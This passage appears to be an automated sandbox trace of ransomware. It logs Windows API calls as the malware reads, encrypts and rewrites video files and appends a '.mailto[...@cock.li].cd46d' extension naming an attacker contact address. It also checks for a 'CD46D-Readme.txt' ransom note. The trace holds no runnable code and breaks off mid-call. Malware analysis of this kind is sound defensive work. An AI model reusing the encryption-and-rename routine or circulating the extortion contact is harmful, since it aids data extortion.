NtQuerySystemTime (in: CurrentTime=0xefbfd04 | out: CurrentTime=0xefbfd04*=132174898140840000) returned 0x0 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x386bce4a [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x3745f602 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x332df901 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x76852ee [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x7efa7b38 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x2f62e265 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x7cede418 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x59c28406 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x17a3f541 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x61ea8329 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x40f193d8 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x7c0e1218 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x6dfbf2d [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x21585785 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x4287ac8a [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x3b5a8236 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x79a492e9 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x1bb5132c [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x2b0c14a3 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x502af073 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x4b3f5281 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x1d709dc1 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x2dc9edef [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x42bde4f6 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x4360ea8e [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0xd44a6a8 [0050.101] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x52425686 [0050.102] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x5553b00f [0050.102] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x27c9d865 [0050.102] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x64541f [0050.102] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x7a4122d3 [0050.102] RtlRandomEx (in: Seed=0xefbfd10 | out: Seed=0xefbfd10) returned 0x5b8e2e45 [0050.115] ReadFile (in: hFile=0xb14, lpBuffer=0x5e86088, nNumberOfBytesToRead=0x49e2, lpNumberOfBytesRead=0xefbfd00, lpOverlapped=0x0 | out: lpBuffer=0x5e86088*, lpNumberOfBytesRead=0xefbfd00*=0x49e2, lpOverlapped=0x0) returned 1 [0050.116] SetFilePointerEx (in: hFile=0xb14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.116] WriteFile (in: hFile=0xb14, lpBuffer=0x5e92890*, nNumberOfBytesToWrite=0x49e2, lpNumberOfBytesWritten=0xefbfcfc, lpOverlapped=0x0 | out: lpBuffer=0x5e92890*, lpNumberOfBytesWritten=0xefbfcfc*=0x49e2, lpOverlapped=0x0) returned 1 [0053.265] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297c8 [0053.265] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0053.265] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297f0) returned 1 [0053.266] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e92890) returned 1 [0053.266] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e86088) returned 1 [0053.266] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a6f0) returned 1 [0053.266] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b58) returned 1 [0053.266] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce130 [0053.266] SetFilePointerEx (in: hFile=0xb14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.266] WriteFile (in: hFile=0xb14, lpBuffer=0x44b1f0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xefbfd64, lpOverlapped=0x0 | out: lpBuffer=0x44b1f0*, lpNumberOfBytesWritten=0xefbfd64*=0x109, lpOverlapped=0x0) returned 1 [0053.532] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b1f0) returned 1 [0053.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce160) returned 1 [0053.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297f0) returned 1 [0053.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce130) returned 1 [0053.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0053.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4414b0) returned 1 [0053.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441668) returned 1 [0053.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4411b8) returned 1 [0053.533] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c858 [0053.533] wcscpy (in: _Dest=0x45c858, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf" [0053.533] wcscat (in: _Dest=0x45c858, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf.mailto[2Hamlampampom@cock.li].cd46d" [0053.533] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xefbfd1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.533] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00200 [0054.003] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00200) returned 1 [0054.003] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f1f48) returned 1 [0054.003] NtQueryInformationFile (in: FileHandle=0xb14, IoStatusBlock=0xefbfd28, FileInformation=0xefbfd00, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xefbfd28, FileInformation=0xefbfd00) returned 0x0 [0054.003] NtSetInformationFile (FileHandle=0xb14, IoStatusBlock=0xefbfd28, FileInformation=0xefbfd00, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c858) returned 1 [0054.007] FlushFileBuffers (hFile=0xb14) returned 1 [0054.069] CloseHandle (hObject=0xb14) returned 1 [0054.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b2d0 [0054.070] wcscpy (in: _Dest=0x43b2d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.070] wcscat (in: _Dest=0x43b2d0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.070] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.071] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0054.071] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46db8) returned 1 Thread: id = 612 os_tid = 0x7a8 [0050.121] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1zx 6h8.avi")) returned 0x20 [0050.121] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi", dwFileAttributes=0x20) returned 1 [0050.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\c1zx 6h8.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb18 [0050.121] GetFileSizeEx (in: hFile=0xb18, lpFileSize=0xf0bfaa8 | out: lpFileSize=0xf0bfaa8*=55286) returned 1 [0050.121] SetFilePointerEx (in: hFile=0xb18, liDistanceToMove=0xd7f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.121] ReadFile (in: hFile=0xb18, lpBuffer=0xf0bfa2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf0bfa28, lpOverlapped=0x0 | out: lpBuffer=0xf0bfa2c*, lpNumberOfBytesRead=0xf0bfa28*=0x4, lpOverlapped=0x0) returned 1 [0050.122] SetFilePointerEx (in: hFile=0xb18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441640 [0050.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410c8 [0050.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441118 [0050.122] NtQuerySystemTime (in: CurrentTime=0xf0bfa08 | out: CurrentTime=0xf0bfa08*=132174898140996000) returned 0x0 [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x748b5f0f [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x66c47daa [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x2f252c4c [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x9a6fb2e [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x7ebf3c6a [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x4448e99 [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x462f29c1 [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x6f69436a [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x2a386c71 [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x1bf58664 [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x420e3f38 [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x791ba9a5 [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x1b83ec85 [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x4d356f0b [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x1f72de8a [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x5275de06 [0050.122] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x66eb802e [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x1a080783 [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x27013a6e [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x2b6f788a [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x7c55a53f [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x3a286a86 [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x6e14e82d [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x48c84e08 [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0xffb0d86 [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x14abea82 [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x72d5b0ae [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x5d2d0464 [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x4134d6b3 [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x23494737 [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x40a575de [0050.123] RtlRandomEx (in: Seed=0xf0bfa14 | out: Seed=0xf0bfa14) returned 0x5fa5c6bb [0050.134] SetFilePointerEx (in: hFile=0xb18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.134] ReadFile (in: hFile=0xb18, lpBuffer=0x5e9f098, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf0bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x5e9f098*, lpNumberOfBytesRead=0xf0bf9e8*=0xc800, lpOverlapped=0x0) returned 1 [0050.135] SetFilePointerEx (in: hFile=0xb18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402d50 [0050.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a768 [0050.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441640 [0050.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441640) returned 1 [0050.136] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5eab8a0 [0050.138] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441640 [0050.138] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441118 [0050.138] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441118) returned 1 [0050.138] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a768) returned 1 [0050.139] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d50) returned 1 [0050.139] WriteFile (in: hFile=0xb18, lpBuffer=0x5eab8a0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf0bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x5eab8a0*, lpNumberOfBytesWritten=0xf0bf9e8*=0xc800, lpOverlapped=0x0) returned 1 [0053.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eab8a0) returned 1 [0053.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e9f098) returned 1 [0053.268] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce190 [0053.268] SetFilePointerEx (in: hFile=0xb18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.268] WriteFile (in: hFile=0xb18, lpBuffer=0x44b308*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xf0bfa68, lpOverlapped=0x0 | out: lpBuffer=0x44b308*, lpNumberOfBytesWritten=0xf0bfa68*=0x109, lpOverlapped=0x0) returned 1 [0053.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b308) returned 1 [0053.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce1c0) returned 1 [0053.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0053.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce190) returned 1 [0053.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441640) returned 1 [0053.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410c8) returned 1 [0053.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441690) returned 1 [0053.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0060) returned 1 [0053.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c910 [0053.534] wcscpy (in: _Dest=0x45c910, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi" [0053.534] wcscat (in: _Dest=0x45c910, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi.mailto[2Hamlampampom@cock.li].cd46d" [0053.534] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf0bfa20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1Zx 6H8.avi.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00130 [0054.006] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00130) returned 1 [0054.006] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b3890) returned 1 [0054.006] NtQueryInformationFile (in: FileHandle=0xb18, IoStatusBlock=0xf0bfa2c, FileInformation=0xf0bfa04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf0bfa2c, FileInformation=0xf0bfa04) returned 0x0 [0054.006] NtSetInformationFile (FileHandle=0xb18, IoStatusBlock=0xf0bfa2c, FileInformation=0xf0bfa04, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c910) returned 1 [0054.009] FlushFileBuffers (hFile=0xb18) returned 1 [0054.071] CloseHandle (hObject=0xb18) returned 1 [0054.072] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b2d0 [0054.072] wcscpy (in: _Dest=0x43b2d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.072] wcscat (in: _Dest=0x43b2d0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.072] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.073] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0054.073] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46e28) returned 1 Thread: id = 613 os_tid = 0x11c [0050.139] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cqcozngni1unyocqpw.flv")) returned 0x20 [0050.139] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv", dwFileAttributes=0x20) returned 1 [0050.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cqcozngni1unyocqpw.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb1c [0050.139] GetFileSizeEx (in: hFile=0xb1c, lpFileSize=0xf05f818 | out: lpFileSize=0xf05f818*=13495) returned 1 [0050.139] SetFilePointerEx (in: hFile=0xb1c, liDistanceToMove=0x34b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.139] ReadFile (in: hFile=0xb1c, lpBuffer=0xf05f79c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf05f798, lpOverlapped=0x0 | out: lpBuffer=0xf05f79c*, lpNumberOfBytesRead=0xf05f798*=0x4, lpOverlapped=0x0) returned 1 [0050.140] SetFilePointerEx (in: hFile=0xb1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441118 [0050.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0088 [0050.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d00b0 [0050.140] NtQuerySystemTime (in: CurrentTime=0xf05f778 | out: CurrentTime=0xf05f778*=132174898141152000) returned 0x0 [0050.140] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0xe31eb3 [0050.140] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0xb6752ad [0050.140] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x139573e [0050.140] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x257cd324 [0050.140] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x47592e74 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x1000bedd [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x6ad656de [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x10a80967 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x46a8e05e [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x2423de20 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x41e9e402 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x2ee3689d [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x5d8df796 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0xbd77b51 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0xf21faa3 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x5c6528f2 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x3d6524d7 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x6c04972a [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0xc82a0ed [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x542f5683 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x6f9c604b [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x5abf7e08 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x23ca904d [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x7899f6bd [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x3503f81d [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x48a7b69e [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x10af1028 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x7e03590f [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x5fcff2f4 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x3e0a26b2 [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x3f5e78ca [0050.141] RtlRandomEx (in: Seed=0xf05f784 | out: Seed=0xf05f784) returned 0x4cb18f4a [0050.153] ReadFile (in: hFile=0xb1c, lpBuffer=0x5eb80a8, nNumberOfBytesToRead=0x34b7, lpNumberOfBytesRead=0xf05f774, lpOverlapped=0x0 | out: lpBuffer=0x5eb80a8*, lpNumberOfBytesRead=0xf05f774*=0x34b7, lpOverlapped=0x0) returned 1 [0050.153] SetFilePointerEx (in: hFile=0xb1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.153] WriteFile (in: hFile=0xb1c, lpBuffer=0x5ec48b0*, nNumberOfBytesToWrite=0x34b7, lpNumberOfBytesWritten=0xf05f770, lpOverlapped=0x0 | out: lpBuffer=0x5ec48b0*, lpNumberOfBytesWritten=0xf05f770*=0x34b7, lpOverlapped=0x0) returned 1 [0053.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce8c8 [0053.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, 